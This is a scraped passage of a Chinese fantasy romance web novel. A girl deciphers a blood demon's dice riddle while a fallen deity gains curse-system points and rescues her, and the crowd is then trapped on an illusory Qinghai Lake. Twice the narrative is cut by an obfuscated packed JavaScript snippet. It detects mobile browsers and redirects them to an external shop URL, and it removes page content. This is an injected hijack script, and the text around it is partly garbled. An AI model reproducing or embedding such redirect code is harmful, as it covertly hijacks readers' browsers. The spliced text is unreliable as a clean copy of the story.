祝今照眯眼看它。 这妖,好像一次只能说四个字。 血妖似乎也急了,一把将帽子掀下来,骷髅头顶的毛发都竖起来了。 它又指骰子:“掷……秘境……死。” 杨九怒道:“死死死!非说这个字不可?” 后头一个锦衣公子忽扬声:“秘境!它方才说了秘境!” 他猛地看向血妖:“你是说,掷那骰子,便能开启秘境之门?” 血妖两只黑洞洞的眼睛看向那公子,道:“能……开启……死。” 李暄紧紧攥着祝今照胳膊,弯腰贴在她肩头,牙齿打战: “仙子,它怎么每句话后头都带个死字……是口癖么?” “噗。”祝今照被害得笑了一下。 杨九的思路也被那公子引过去了。他瞪大了眼:“它说能!能开启!” 他朝那公子猛一挥手:“你——快来!你跟它说!” 公子提起衣袍便跑。 后头一个贵女拉住他袖子:“周大哥,别去了罢!那是妖怪!” “胡闹!”周公子面容狰狞,“江临害我父亲连降三级,此仇不报非君子!” 他甩开袖子,便跑了过去。 到了赌桌一头,同血妖隔桌相对。 他一拍桌子,倨傲道:“快说,掷成什么样才能进秘境?” 血妖机械地道:“死……死……死……死。” 周公子拧起眉,又问了一遍。 血妖仍是重复: “死……死……死……死。” “死……死……死……死。” “死……死……死……死。” …… 骷髅嘴一张一合,像卡住了。 周公子有些被吓到,倒抽一口凉气,连着往后退了两步,吼道:“停!给我停下!” 血妖停了。 周公子稳住神,冷笑道:“好哇。你拦着不叫我们进秘境,还咒我们。是江临派来的罢?” 血妖道:“江临……不识。” “尔等……不识。” “那你为何拦我们!” “不进……都死。” 周公子气得猛拍桌子:“要多少银子?给你!告诉本公子怎么进!” 人群里,祝今照摩挲下巴,咂摸着血妖方才的话。 不进,都死。掷,秘境,死。 杏眸转了转。 李暄道:“仙子,你是不是想到什么了?” 祝今照缓缓点头:“它是说,不进这秘境,大家都会死;或者说,掷了骰子开启秘境,大家都会死。” 李暄哭丧着脸:“那到底是进会死,还是不进会死啊?” 祝今照思量片刻,道:“我能试出是不是后者。” 她从袖中取出一张符纸,亮给李暄看。 “这道符叫逢生咒。捏了诀,使用者若遭逢绝境,灵海便会闪过它的光纹,而后遇见新生的转机。” 她认认真真捏了一道诀。 手势还带着新学不久的生涩。 “我去掷那骰子。若掷出开启秘境的点数,灵海里有光纹提示,那便说明,开启秘境后,会有可怕之事发生。” 李暄听得认真,欢喜道:“而且仙子已捏了诀,那骰子就不会真的掷到开启秘境的点数。太妙了,仙子好聪明!” 祝今照道:“万一我有不测,陛下便发号施令,让杨九的兵归顺,带着贵人们逃出赌坊。” “啊?”李暄连忙拽她袖子,“可我不会啊!仙子你不准有不测!” 祝今照啧了一声,压低声音呵斥:“陛下!您是天子!恩威并施一下,那些兵起码归顺大半!” 李暄:“可……可是……” “别怕,啊。大胆说。您可是天子!” 她拂下他的手,转身便跑过去。 ** 与此同时,万劫坊前厅,魅妖阵中。 裴枕寒立于一片蒹葭水地。 白雾在靴边盘旋。 蒹葭在风里轻扬,像是白霜落上枯草。水鸟喈喈而鸣。 雾气弥漫的水面,飘来阵阵娇笑。 “呵呵呵……” “裴郎……” “下来爽一爽……” “来嘛……” 一望无际的水面里,立满了脊背裸露的女子。 密密麻麻,多得叫人生出恶寒。 她们从水里爬出来。 水蛇一般,朝裴枕寒靴边蠕过来,一个接一个。 “裴郎……奴家的嘴唇……” “软润的肉……” “紧致的……” “能叫男人爽飞……” “试一试,又有何妨……” “两千年……不曾有过一回醉仙梦死……” “奴家替裴郎委屈……” 裴枕寒目光毫无波澜地扫过。 道心非但不起风浪,反而愈发静谧,冷寂。 像深冬,极北大荒的冰面;又像暗夜弥漫、无声无息的银河…… 冷寂的灵识向四肢百骸蔓延。 他熟练捏诀,并指向虚空,淡声道:“破。” “啊——!” 众女惊叫,如琉璃般一片片碎裂。 咔嚓,咔嚓。 周遭场景也剥落下来。 忽地,一道清脆的声音落入耳畔。 “小道长!” “好疼……” 裴枕寒凤眸一缩。 灵识微澜,如蜻蜓点水。 他猛地转身,去寻那声音。 场景的碎片像是时光倒流一般,蓦地拼了回去。 那花花绿绿的小娘子浮在岸边。 红绳湿了,耷在发间。柔嫩的手紧握着岸上蒹葭。 红衣被水浸透,贴在身上,勾出锁骨的形态。 一众女子惊喜尖叫,朝裴枕寒奔去。 她们从她身边蹚过。 她被拨弄得七扭八歪,连连呼痛。 裴枕寒深吸一口气。 “摇光。” 手中蓦地多出一把寒冰宝剑,蓝紫灵光流转盘旋。 白衣疾掠而出。 瞬息之间,靴尖踏过一道道光裸的脊背。 鲜血顺着剑刃淌下,剑尖血珠滴答而落。 白衣生风,绕着众女一圈接一圈掠过。自外围,一圈圈向内。 所到之处,尖叫炸响。 灵海诫咒音疾震: 【请神君停止欺辱女子。-5】 【请神君停止……-5】 【请神君……-5】 【-5】 【-5】 【-5】 【-5】 【-5】 … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522565|202707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 【警告!分值掉至40以下!】 【-5】 【-5】 …… 【警告!分值掉至20……】 【-5】 【-5】 …… 【警告!分值掉至负时,将触发雷鞭即时惩罚!】 【-5】 裴枕寒抬眸。 众女正踩着那红衣的脊背,飞奔贴向他。 凤眸凝霜。 双掌飞速捏诀,单手推出。 轰隆——! 一团黑气如浪涛般奔涌而过,数息之间,将成百上千的女子绞成碎沫。 与此同时,那红衣连皮带相蓦地剥落,剩下一堆白骨。 裴枕寒凤眸微凝,眸底阴翳蓦然散去。 灵识渐渐清明。 他望向前方那被夷出的巨坑。 就在方才,他调用了体内剩余的全部法力,净化魅妖之气。 此刻他体内,没有法力。 那这只巨坑,是被什么炸出来的? 修长的手猛地翻过来。 手心之间,尚余丝丝黑气氤氲。 体内,神骨之中。千千万万团魔气搏动撞击,嘶喊着欲冲破封印。 裴枕寒唇色迅速褪去,半蹲下去。 深入骨髓的疼。 他飞速捏一道寒冰禁诀,毫不犹豫击在胸口。 禁诀掠过神骨,加固封印。 冰刺之感寸寸碾过。 他喷出一口鲜血。 阵外,一个大肚子官兵,缩手缩脚探进前厅。身后随着一个高个子官兵。 大肚子颤声:“大哥……这真能困住北斗爷爷么?” 高个子手脚发凉:“你……你别问我啊!是将军的贵客出的主意……” 大肚子抖得更厉害了:“我在想……什么贵客……能知道怎么对付真君……” 高个子:“你……你别问我啊!啊——!!” 他忽地惊叫起来。 大肚子猛地转身。 一个白衣人悄无声息立在面前。 额前碎发微湿,唇边淌血。 修长的手握一柄寒冰宝剑,剑尖血珠滴答。 周身散发出万年寒窟般的冷气。 高个子仰脸,惊恐地望着他。 双腿一软,匍匐在地:“北斗爷爷饶命!这不关小的的事,小的只是路过……北斗爷爷饶命!饶命饶命啊……” 机械地磕头。 大肚子伏在地上,喉间颤抖,一个字也发不出来。 冷肃的声线落下来: “带我去主殿。” 裴枕寒不想同园中官兵多做周旋。 二人仰脸看他。 那神色空寂,却令人不敢有半分违逆。 “小的……小的领命!” 他们软着腿站起来。 ** 祝今照扬着唇角,双手握着骰盅,摇得哗啦作响。 一面摇,一面念念有词:“天灵灵地灵灵,骰子老爷快显灵!四方邪神,八方野鬼,听见了——祝今照给你们烧纸,好酒好肉供着!” 台下众人目光随着她动作上上下下,抬头又低头。 砰! 赌盅扣在赌桌上。 她抬眸,眼角含笑望向血妖。 那血妖紧盯着骰盅。两只树枝般的爪子蜷在胸前,缩着肩,模样惊恐不安。 众人瞧它这副神态,都心道她摇出了正确点数,纷纷交头接耳。 祝今照掀开赌盅。 三个四点,还有一个仍在转。 血妖黑洞洞的眼睛死死盯着那一枚。 三,四,五……三,四,五…… 骰子转够了。 在三、四两点间犹豫了一瞬。 血妖屏息。 骰子落在了三点上。 血妖轻轻松了口气。 祝今照瞧着它,险些笑出声来。 这是她第五次摇出三个四点,加一个别的点数。 每次灵海都会亮起符纸光纹。 已经可以断定,正确的点数,便是四个四点。 方才周公子问要摇成什么样,血妖答的恐怕不是“死、死、死、死”,而是“四、四、四、四”。 还可以断定,开启秘境,必有极可怕的事发生。 瞧那血妖的神情,它不愿让这事发生。竟似在顾及众人安危。 祝今照站起身,对众人道:“秘境之门如何开启,我已知晓。” 众人仰脸看她,交头接耳。 那血妖又开始惊恐了。 祝今照道:“但为了诸位贵人安危,我还是不说为好。” 前头周公子喊道:“你是哪家的丫鬟?别扯了行不行!上去玩儿两把便要拍屁股走人?爷们儿时间金贵得很,被你耽误这么久,这账怎么算!” 祝今照道:“并非我信口开河。这秘境门开,便有极可怕之事发生。这血妖,实是在护着咱们。贵人们不妨回忆它方才的话,是不是在说,进了秘境,所有人都会死?” 众人交头接耳。不少点头称是的。 只周公子领着几个人举手高喊:“不叫我们进秘境,便是江临派来的!诸位别被她骗了!查查她,必然和江临有瓜葛!” 祝今照懒得理他。转身对血妖弯起眼:“血妖大人,想不到,你虽然长得丑了点,心眼还怪好嘞。” 血妖僵硬地抬起脸。黑洞洞的眼眶上,眉毛抬了抬,一副愕然的神情。 “我叫祝今照,记住我的名字!我在鬼市开铺子,不久便会打出名头。将来你若寂寞了,随时来我店里玩儿!” 血妖声音嘶哑:“今照……多谢……” 祝今照摆摆手:“别客气。那我们是朋友啦!” 人群里,周公子嘶声喊道:“听听!听听!这丫头和那妖怪是朋友!那妖怪是江临的人!所以她就是江临的人!!” 李暄转过身,紧张道:“周、周爱卿,仙子……呃,祝家娘子的确是在救诸位。朕可以作证。大家还是散了罢,此地危险得很……” 周公子摆出一副死谏的架势,悲痛道:“陛下!您非要站在江临那佞臣那边么?” 杨九斜着眼看李暄,道:“陛下,今日这情况您也瞧见了,江临必然有古怪!我杨九拿项上人头担保!” “等开了秘境,若找不到江临那乱臣贼子,我杨九,连同手下三千精兵,一并以死谢罪!如何?” 人群中有人举手欢呼:“好!杨将军是条汉子!” “诛杀乱臣贼子!诛杀乱臣贼子!” 周公子喊道:“那丫头知道怎么开秘境!先把她拿下,我有的是法子叫她开口!” 血妖见势不妙,推祝今照:“秘境……开……死。” “今照……快走……” “血妖兄保重!”祝今照应了一声,提步便往李暄处跑。 一群小厮迎面围住。他们斜着眼看她,嘻嘻笑。 祝今照咽了咽口水,不觉后退半步。 周公子拨开小厮,走上前来:“小丫头,说说呗。” 祝今照转身便跑,被他一把攥住手腕。 袖中符纸纷纷滑落,散了一地。 周公子一条猿臂箍住她脖颈,半蹲下去,去瞧那些符纸。 祝今照被箍得透不过气。双手无力地拍他胳膊,喉间挤出几个音节: “救命……救命……逢生咒你失效了么……” 忽地,灵海一道光纹闪过。 有转机了么! 祝今照心头升起希望。 却听一个官兵奔向杨九,扬声禀报:“将军!捉了个白衣道长过来!” 门口,两个官兵哈着腰进门,一迈过门槛便瘫软在地,跪伏下去。 裴枕寒从二人之间踏过,白衣生风。 一缕熟悉的气息飘至鼻端。 清冽的井水,混着新鲜草叶。淡淡的,常人不会留意。 他却记得分明。 修眉微蹙,似有疑惑。 目光从容扫过殿内。 穿过重重人影,径直落在那道花花绿绿的身影上。 她正被拖在地上,脖颈箍在一只锦衣胳膊里。 裴枕寒凤眸微抬。 目光落在那只胳膊上。 15. 滚在一起 周公子带人这么一闹,殿内便乱成了一锅粥。 贵女们见不得这般场面,尖叫着往后撤。人潮挤作一团,谁也看不清谁。 李暄被人群堵在一角,踮脚喊“仙子”。血妖被堵在另一角,嘶声喊“阿照”。 裴枕寒抬起手掌,对准前方那波人,轻轻一推。 掌风无声穿过人群。众人衣袂猛地扬起,像被一股力道拨开,纷纷向两边跌去。中间霎时腾出一条空道。 那掌风精准落在周公子手臂上。 周公子只觉肘间一麻,低头去看。 下一瞬,他惨叫一声,丢开祝今照,抱着手臂滚倒在地。 众小厮围上去看时,那半条胳膊已紫红发胀,粗得像泡了水的尸身,皮肉绷得发亮。 祝今照捂着胸口,趔趄往前跌。眼前一阵阵发黑,眼看就要脸朝下摔出去。 却撞入一片清冽的白衣。 她没多想,软在那白衣间,大口大口呼吸。 喘够了,睁开眼。 清冽的冷灰香在鼻端氤氲。 祝今照瞳孔一缩,猛地抬头,唤道:“小道长?!” 她怔怔仰脸,杏眸微颤。 眸间映出他的面容。唇边淌血,额前碎发被冷汗浸湿。 她蹙起眉,指尖去擦那抹血痕。 裴枕寒停在那里,任她碰。 祝今照道:“是谁把你伤成这样?” 嘴一扁,严厉道:“我不在你身边,你便任他们伤你?” 裴枕寒瞧着她。 她眉梢压下来,眼睛却睁得圆圆的,水润润地眨着。 他垂下眼,躲闪着。 祝今照以为他在惭愧,道:“这会儿知道错了。当时便拿自个儿身子当皮球摔?你放眼瞧瞧,周围哪一个似你……” “你不也一样?”他忽又抬眼,竟同她顶起嘴来。 祝今照语塞:“我……” 就在此时,周公子扯着嗓子喊起来:“那道士!那道士也同她是一伙儿的!杨将军!当一并拿下拷问!” 杨九挥手:“听周公子的。” 众兵甲胄铿锵,一圈圈围上来。 祝今照一把将裴枕寒挡在身后,杏眸转了转,朗声道: “你们莫要恶心我!他是我仇人,才不跟我一伙儿!你们想拿,赶紧拿他去!我巴不得瞧他受苦呢!” 说罢转身,猛地拽住裴枕寒袖子。 裴枕寒没提防,被她拽得一个趔趄。二人衣袂缠在一起。 祝今照借着遮挡,压低声音凑上前: “小道长,我如今是众矢之的,你沾不得。咱们演个苦肉计,我粗暴地打你两下,你跟我撇清,便赶紧跑罢。此地很危险。好不好?” 裴枕寒垂眸,瞧她惶恐地站着,水杏眸却疾疾颤着,直往外冒主意。 祝今照等不来他回答,仰脸瞧他神色,眨眨眼道:“你不说话,我便当你答应了。” 猛地拽着他胳膊一甩,握起拳头,在他面前虚虚擦过。 一面打,一面喊: “不要脸的混蛋!害我家破人亡,钱也没了,名声也没了!可恶!混账!如今可叫我逮着了罢!” 周围,众人围观看热闹,窃窃私语。 众官兵一时被唬住,转头看杨九:“将军,还捉那道士么?” 祝今照闻声,猛地拔高音量:“今日你落在我手里!非要将你打得跪在地上不可!” 裴枕寒灵海疾震—— 【检测到女子要求神君下跪。】 【判定为折辱行为,请选择:】 【选项A:诚心下跪,+20。】 【选项B:开口求饶,+10。】 【选项C:原地不动,+0。】 【选项D:怒而拒绝,-10。】 【当前分值:1/100。分值加至100,可解锁全部神力三息哦~】 裴枕寒垂眸,定定看祝今照。 眸光微颤。 那神色,像是永远乖巧的学生,忽有一天发现可以逃课,正犹豫着。 人群里有人高呼:“杨将军,你不懂。瞧她俩那模样,那小娘子恐怕在乎那道长在乎得要死。快去拿罢,那绝对是她软肋!” 祝今照快哭了。 拽他衣衫,压低声音道:“小道长,动一动,配合一下我……” 裴枕寒垂下眼,轻轻笑了一下。 那是永远乖巧的学生,忽有一天发现可以逃课,犹豫许久,决定逃这一回的——释然的笑。 他抬眼,瞧她。 祝今照眨眨眼:“怎么了?” 裴枕寒弯腰,轻轻抚平白衣。单膝点在光洁的地砖上,另一只膝随之弯下。 双膝点地,跪在她面前。 仰脸看她,眸光清澈。 “啊!!”祝今照猛地退后一步。 众官兵懵了一下,不动了。 人群哄然炸开,纷纷猜这两人是什么关系。 只方才带裴枕寒过来的那两个官兵,惊得瘫坐在地,以为瞧见了什么幻像。 “不不……不是……”祝今照双手连摆,语无伦次,“不要……我是要……不是要你……” 灵海,诫咒音兴奋地震起: 【!!神君选了选项A!+20】 【此为神君贬谪三百年,首次搭理诫咒的选项,呜呜呜!!】 【+20首次鼓励分!!】 【感谢这位祝家小娘子!!】 裴枕寒仰脸瞧祝今照,唇角微微勾着,提醒道: “小娘子,不是要打我么?” 这番话,从这美得失真的人嘴里说出来,祝今照脸颊腾地烧了起来。 她嘿嘿干笑着,抬脸看周围喧杂的人群,道:“哈哈。对。他被我打得跪下了。哈哈。” “那个那个,”转过来看裴枕寒,“混、混蛋,也有今天!还欺不欺负我了!看我不把你打得魂都飞走!” 左右开弓,轻轻落在裴枕寒脸颊上。 一面闭着眼打,一面赶集似的飞快往外吐字:“混蛋混蛋混蛋……” 忽地,拳头被他握在了手里。 祝今照忙抬眼看:“怎、怎么了?下手太重了么?” 裴枕寒澄澈的眸子盯着她:“太轻了。” 祝今照没反应过来:“啊、啊?” 下一瞬,她惊叫一声,胳膊被轻轻一拉,随他滚在地上。 眼前的景物越溜越快——顶梁,柱子,白衣,顶梁,柱子,白衣,顶梁柱子白衣……只剩一片天旋地转。 “啊——!”她吓得大叫起来。 一花一白两道身影纠缠在一起,在地上疯狂滚动。 旋转生风,眨眼便冲出了官兵的包围。 殿中人群尖叫着,纷纷给这两个疾速滚动的人让路。 祝今照乱喊乱叫起来:“停下!小道长——!停下,快停下……我受不住了……啊!” 二人发丝缠着发丝,汗水贴在了一处。 裴枕寒清润的嗓音落在她耳畔,声线低沉:“还未开始,如何便受不住了?” 祝今照大喊:“开始、开始做什么啊——!” “打我啊。” 裴枕寒一手揽着她的腰,一手握着她的手,猛地击在他腹部。 灵海诫咒音响起—— 【检测到神君行为:打不还手。+5】 “唔!” 祝今照只觉手上被重重顶了一下,猛地往回一缩。 裴枕寒微怔,握她的手松了下,轻声道:“疼么?” “疼!疼死了!” 祝今照正天旋地转地转着,任何不适都被放大数倍。 她语气很差:“你穿了什么!肚子好硬!” 裴枕寒歉疚道:“抱歉。” 是他考虑不周。 他腹部肌肉太紧,她怎么受得住。 他修长的手包住她的手,垫在她拳头前,猛地往腹部一拽。 【打不还手,+5。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531602|202707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这回祝今照手不疼了,虽然她不明白为什么非要打他。 眼下重要的是另一件事。 她被他揽着旋转,晕晕乎乎地喊:“小道长——咱们非要这样滚在一起吗!!” 裴枕寒沉吟。 这般行为虽有伤风化,但能够堤防官兵,叫他们无法选中。属于是保命行为。 保命和节操之间,还是保命更重要。此乃天道。 所以他同她这样滚在一起,是合理的。 他点了点头。 至于以他的武力,为何不正常制住官兵,非要用这般奇怪的法子?那是他现在不愿思考的。 裴枕寒回应道:“对。” 祝今照:“啊??” 裴枕寒握着她的手,一下接一下打在自己腹部。 【打不还手,+5。】 【打不还……+5。】 【打……+5。】 速度越来越快。 【+5】 【+5】 …… 【+5】 【+5】 【+5】 祝今照汗水沾湿碎发,眼前的景物晃荡不止,杏眼眯在一起,眼角渗出泪花来。 “啊……不要……太多下了,太多下了!不要了……我不要了!小道长——” 裴枕寒温声:“还差一点。小娘子忍一忍。” 又冲出一队官兵的包围,旋转着撞开一波尖叫的人群。 滚动的身体卷过散落在地的帷幔。 “啊——!” 速度太快,祝今照完全无法掌控自己的身体。只能任他施为。 裴枕寒握着她手,在腹部落下最后一击。 【打不还手,+5。】 【当前分值:100/100。】 裴枕寒蓦地停下旋转,身子垫在她身下。 温声道:“好了。” “嗯……” 祝今照累得没力气了,下巴搁在他肩头,就那么软在他身上。 【恭喜神君,解锁全部神力三息!】 【神君可自由存入体内。】 强大的灵流山呼海啸般灌入裴枕寒丹田。 【3,2,1。】 【储存成功。】 【恭喜神君,可自由调用神力。】 裴枕寒侧头,瞧她迷迷糊糊的样子,轻声唤她:“朝朝,朝朝。” “嗯……”祝今照应了声。 裴枕寒揽着她,修长的手放在她脊背。丝丝轻柔的灵力缓缓释出,助她缓解眩晕。 此时,赌桌那头,周公子一只胳膊吊在胸前,另一只手从地上捡起一张符纸,嘶声喊道: “明白了!我明白了!杨将军,叫你的官兵回来!不必追那小丫头了!我已经知道开启秘境的点数了!” 祝今照心头一震,仰头去瞧。 周公子手中举的,正是她的逢生咒。 方才她在赌桌的表现,加上逢生咒这条线索,确实能推出开启秘境的点数。 周公子喊道:“就是四、四、四、四!你们谁手气好,去摇骰子!哈哈哈哈!” 底下当即举起不少只手:“我我我!摇骰子,我想几点就几点!” 一拥而上。 祝今照瞳孔一缩,猛地晃裴枕寒:“小道长!开启秘境会有可怕之事!所有人都会死,不能叫他们摇骰子!” 话音未落,赌桌上响起欢呼:“成了!” 祝今照当即跳了起来。 裴枕寒随她起身。 殿中景物自上而下褪去颜色,像被水洗过一般。 方才那诡异的歌声又响起来,这回愈发清晰了: “飞光……飞光……劝尔一杯酒。” “吾不识……青天高……黄地厚。” “唯见月寒日暖……来煎人寿。” 众人惊叫着挤作一团,瑟缩着四处张望。 只裴枕寒面色如常,袖袂之下,轻轻握了握祝今照的手。 16. 秘境 殿顶的颜色一层层褪去,竟显出漫天翻涌的乌云来。 那几只妖鹤长鸣着飞向云间,四散开去,混入云层间穿梭的鸥鹭之间。 与此同时,阵阵大风卷过来,裹着雪山的清冽与淡淡的鱼腥,吹起众人的衣袂。 惊叫声此起彼伏。 祝今照不自觉便往裴枕寒身边靠,喊道:“小道长——怎么办啊!” 鼻头一酸,眼泪直往外冒:“我就说嘛!这么大一堆人,个个都上赶着作死,除非天神降临,否则我一个小丫头,如何护得住嘛!” 裴枕寒任她往他怀里钻,垂眸看她,道:“为何要护?” 祝今照委屈地抽噎,也不管他听不听得懂,只顾说: “因为、因为只有护住他们,衣老板才肯答允同我合作做生意啊!我手头有了钱,才能带阿兄过上好日子啊!不然,难道我和阿兄,要一辈子寄人篱下,任那便宜三婶折辱么!” 裴枕寒道:“所有人都要护么?” “对。” “方才那伤你的锦衣男子呢?” “也要护。” 裴枕寒:“明白了。” 祝今照:?? 怎么有种她在发号施令、他在确认命令的既视感? 仰脸懵懵地瞧他:“你明白什么了?” 裴枕寒唇角微扬瞧着她,道:“朝朝既想护,那便一定护得住。” 祝今照垂下脑袋,蔫蔫地道:“借你吉言。” 叹了口气,翻袖子里的符纸,“我这里还剩些符纸,最起码,护住你我二人罢。” 裴枕寒眼角都弯起来了,道:“好。” 那边,李暄被挤在角落里,朝祝今照直招手:“仙子!仙子朕过不去,你过来好不好?你不管朕了么?” 祝今照又叹了口气,道:“对,陛下也在呢,得护着他,不能只护你我二人。” 扬声喊:“陛下,臣女来了!” 一手拉起裴枕寒的手腕,便朝李暄处走。 裴枕寒眼角的弧度瞬间消失了,阴沉着脸随她走。 挤进人群,李暄一把搂住祝今照的胳膊,道:“仙子!如何是好啊?仙子有办法叫我们活命的,对么?” 裴枕寒垂眸,盯着他抱祝今照的手看。 祝今照心里也怕极,却拍拍李暄的手背,弯起眼:“陛下稍安,咱们走一步看一步,啊。” 裴枕寒盯着她拍李暄的手看。 李暄哭丧着脸:“嗯……” 又指向斜上方。血妖正绕着大殿四壁飞行,血红衣摆拂过之处,景物向下洗去的速度明显慢了。 “那血妖,似是在阻止幻境入侵。可它好像阻不住……” 祝今照道:“是在拖延时间。” 殿门已化作虚影,无论如何,众人都出不去了。拖延时间,不可能为了让众人逃跑。 她心头一跳,仰脸问裴枕寒:“小道长!莫非这大殿一消失,众人立时便要陷入危险?” 裴枕寒点头道:“正是。此幻境所化,乃西北边地。一旦大殿完全消失,众人脚下,便只剩下浩浩荡荡的青海湖。” “青海?!这是要人一进去,便全都淹死么?”她又仰脸问,“小道长!可有法子救人?” 不知为何,她理所应当便觉得他该有办法。完全忘记了他只是个落魄小道士。 裴枕寒道:“有。” 他情绪稳定地拨开李暄的手,像拨开一件死物一样。而后轻轻握着祝今照手腕,提起她手臂,微凉的手指滑进她袖袂间。 “唔……”祝今照一阵酥麻,轻轻呻吟了一声,不禁往后缩了缩。 裴枕寒从她袖间取出一张符纸,道:“此为‘安济符’,画地为舟,可托众人平安浮于水面。” “当日教过你捏诀手势,可还记得?” 祝今照犹豫地做手势。 这符纸太冷门,她没太认真记。 裴枕寒微微俯身,修长手指握住她白嫩的指节,仔细纠正。 李暄奇道:“可以也教教朕么?这位道长竟懂这么多,是何方仙人呀?” 裴枕寒垂眸看了他一眼。 那眼神像是在说——你高攀不起的人。 从未被如此对待过的李暄尬住了,默默退开。 祝今照练了两遍,兴奋道:“我会了!” 她低下头,左右张望。 李暄凑过来:“你找什么呢?” 裴枕寒已从旁搬了条檀木长凳,弯腰放在她面前。 直起身,朝她递过一只手。 祝今照脸颊倏地一红,低声道:“多谢。” 扶着他的手,站上凳子。 她望向底下相互推挤的人群,扬声喊道: “诸位贵人,听我一言!咱们现下处境十分危险,一旦大殿消失,脚下便只剩深不见底的湖水。届时,恐怕人人都要葬身鱼腹!” 人群轰然炸开。 祝今照提高声音:“贵人们莫慌,我有法子!” 众人嘈杂声渐止,纷纷抬头望她。 祝今照将符纸掷向半空。 “此符名为‘安济符’,可画地为舟,托起诸位。只是需委屈诸位贵人,都挤在我身边,莫要离开符纸所及的范围。” 说着,指诀轻捏,符纸灵光向外扩散,拢成一道半球光罩。 众人犹豫着。 有人道:“这位小娘子瞧着本事不小,咱们好歹也没别的法子,不如一试!” 众人低声附和。 “凭什么!”周公子扬声。 他指着祝今照: “咱们信她?方才她还同那白衣道士搂着,在殿里旁若无人地滚在一处!这般视礼教为无物,简直不知廉耻!咱们转眼便忘了?信个疯子,不如信周某人是神仙!” 祝今照方才不觉得,如今叫外人一说,面颊倏地烧起来。 周公子又道:“况且她是江临的人!叫咱们不乱走,不过是怕咱们寻到江临罢了!” 裴枕寒听到江临二字,修眉间浮起一丝疑惑。看向祝今照,神色不明。 众人一听这话,又犹豫起来。 李暄道:“仙子,他们不信,如何是好?” 祝今照咬唇,水杏眼转了两转,计上心来。 扬声道:“诸位!此方幻境,复刻的是荒远的西北边地,待会儿咱们脚下的深水,正是埋葬万千沙场将士的青海!” “若是不信,待那半壁墙面褪去——”她扬手朝一面墙指去,“诸位可以认一认,那暗云遮掩的雪峰,可是连绵入云的祁连山?” 众人转头看去。 殿中华彩壁画渐渐消失之时,正见连绵雪山,直入暗云。 有人高呼:“是祁连山!和绢画里画的一模一样!那小娘子说得对!” 众人再无疑义,推着挤着往光罩里涌。 李暄眼前一亮:“仙子好聪明!” 祝今照弯起眼,大大咧咧应道:“多谢陛下。” 裴枕寒唇角微扬望着她,伸过一只手。眸间覆着层亮光。 祝今照望着他,脑海忽飘过方才“大庭广众、不知廉耻”云云的话,脸颊又热起来了。 垂着头道了声“多谢”,将手递给他,跳了下来。 脚下不稳,直接撞进裴枕寒的怀里,清冽冷灰香裹了满身。 “唔……” 她猛地将人推开,站得僵直。 心里头默默发誓,不能再同小道长有太多互动了,要避嫌。 李暄在旁瞧着,眨眨眼:“仙子不舒服么?为何那般扭捏?” 祝今照脸颊轰地烧起来。 重重咳了声,仰脸望向远处:“那个……看!果真一大片湖水。” 众人纷纷跑了过来,血妖一身红衣飞在最后。 殿内景色飞速散去,像疾驰的车马掠过窗外。 眼前只剩下一望无际的水面,映着天际阴云,一片灰白,凭空透出几分凄冷。 水底幽暗,时不时有暗影飘过,瞧不清是什么。 众人背靠着背,挤在一叶巨大的木筏上。 祝今照、裴枕寒、血妖三人站在边上,李暄站他们身后。 杨九要叫官兵护着李暄退到中央,李暄不敢,觉得还是祝今照更可靠。 正好李暄在此,祝今照为了避嫌,便刻意离裴枕寒远远的,躲在李暄旁边。 木筏歪歪扭扭,竹缝间渗出水来,浸湿了贵人脚上的锦鞋。脂粉香四溢开来。 一阵惊慌喊叫后,总算稳住了。 有人喊道:“这水面这般瘆人,咱们往前划,去岸上罢!” 血妖急声道:“不可!” “岸,群鬼,死!” 众人愣住,不明所以。 祝今照道:“血妖兄,你是说那岸上飘着一群厉鬼,人一上岸便都要死么?” 血妖:“正是!” 众人炸开了锅:“鬼……还有鬼?” 有的已对祝今照生出几分信任: “小娘子,那当如何是好啊?” “你说个主意,咱们跟着做,逃出去,定有重谢。” 周公子一只胳膊吊在胸前,另一只手指着她,扬声提醒众人: “你怎么证明?哦,现下已是你俩的主场了?这一众世宦后代里,数你这小丫头最大?你说什么便是什么,咱们从头到尾都叫你们牵着鼻子走?” 众人附和道:“周兄说得是啊。” “那不过是个来历不明的小丫头。” “这水确实阴恻恻的,不上岸,难道要在此等死么?” 祝今照沉默。 若非为了银子,她才懒得在这里陪着他们作死。 为了银子,忍一忍。 她稳住心神,想办法。 杏眸转了转,转头问血妖:“血妖兄,那岸上的鬼,可会发出什么可怕的声响?” 血妖道:“会……会……会……会……” 祝今照懵懵的:“嗯?” 血妖骷髅嘴一张一合,却不知该如何说,急得抓耳挠腮。 祝今照本能地转脸,去瞧裴枕寒:“小道长……” 身后竟不是裴枕寒,是圣上。圣上之后三步开外,才是他。 孤零零站着,竟似有几分委屈。 她挠了挠双髻:“小道长,你干嘛站那么远?” 绕过李暄,拽着裴枕寒衣袂,将他往身边拉。 害怕是她没看着,他被谁欺负了,特意往他身边挨了挨,握住他的手。 裴枕寒任她柔软的手贴过来,眉间却似有些不安。 垂眸看她神色,像是在观察她还生不生气。 祝今照仰脸道:“小道长,你可知那岸上的鬼物,会有什么可怕的声响?” 裴枕寒瞧着她。 鲜嫩的面容上,已全然没有方才躲他的样子了。 已经……气消了么? 他还想着该怎么…… 他忽垂下长睫,轻轻笑了声。 